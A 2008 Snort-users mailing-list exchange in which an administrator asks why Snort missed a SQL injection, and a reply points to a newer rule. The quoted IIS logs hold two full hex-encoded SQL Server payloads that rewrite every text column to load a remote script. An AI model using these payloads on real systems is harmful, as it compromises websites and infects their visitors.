[Snort-users] Undetected SQL Injection

Joel Esler joel.esler at ...3027...
Mon Jun 23 16:18:25 EDT 2008


There is a rule that will catch these in the most recent SQL.rules file.

--
Joel Esler
Sent from my iPhone

On Jun 23, 2008, at 3:15 PM, Curtis LaMasters  
<curtislamasters at ...11827...> wrote:

> I am running Snort 2.7 on my firewalls and have still somehow been  
> SQL injected.  I have the SQL rules, MySQL rules, IIS Rules, and a  
> few more but it sill did not detect.  Below I have part of the IIS  
> log where the injection (attempt) was done. I was hopeing someone  
> could shed some light on the problem. Please let me know if I need  
> to provide any additional information.
>
> 2008-06-23 00:30:44 10.99.4.44 GET /com/store/content.asp  
> ContentID=10;DECLARE%20 at ...2538...%20VARCHAR(4000);SET%20 at ...2538...=CAST 
> (0x4445434C415245204054205641524348415228323535292C4043205641524348415 
> 22832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E626E726164772E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D20546655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220% 
> 20AS%20VARCHAR(4000));EXEC(@S);--|21|800a0d5d| 
> Application_uses_a_value_of_the_wrong_type_for_the_current_operation. 
>  80 - 201.208.89.82 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT 
> +5.1;+.NET+CLR+2.0.50727) 500 0 0
>
> 2008-06-23 01:23:24 10.99.4.44 GET /com/store/com_viewItem.asp  
> idProduct=9;DECLARE%20 at ...2538...%20VARCHAR(4000);SET%20 at ...2538...=CAST 
> (0x4445434C415245204054205641524348415228323535292C4043205641524348415 
> 22832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E70696E676164772E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220% 
> 20AS%20VARCHAR(4000));EXEC(@S);-- 80 - 59.178.127.68 Mozilla/4.0+ 
> (compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) 302 0 0
>
> Curtis LaMasters
> http://www.curtis-lamasters.com
> http://www.builtnetworks.com
> --- 
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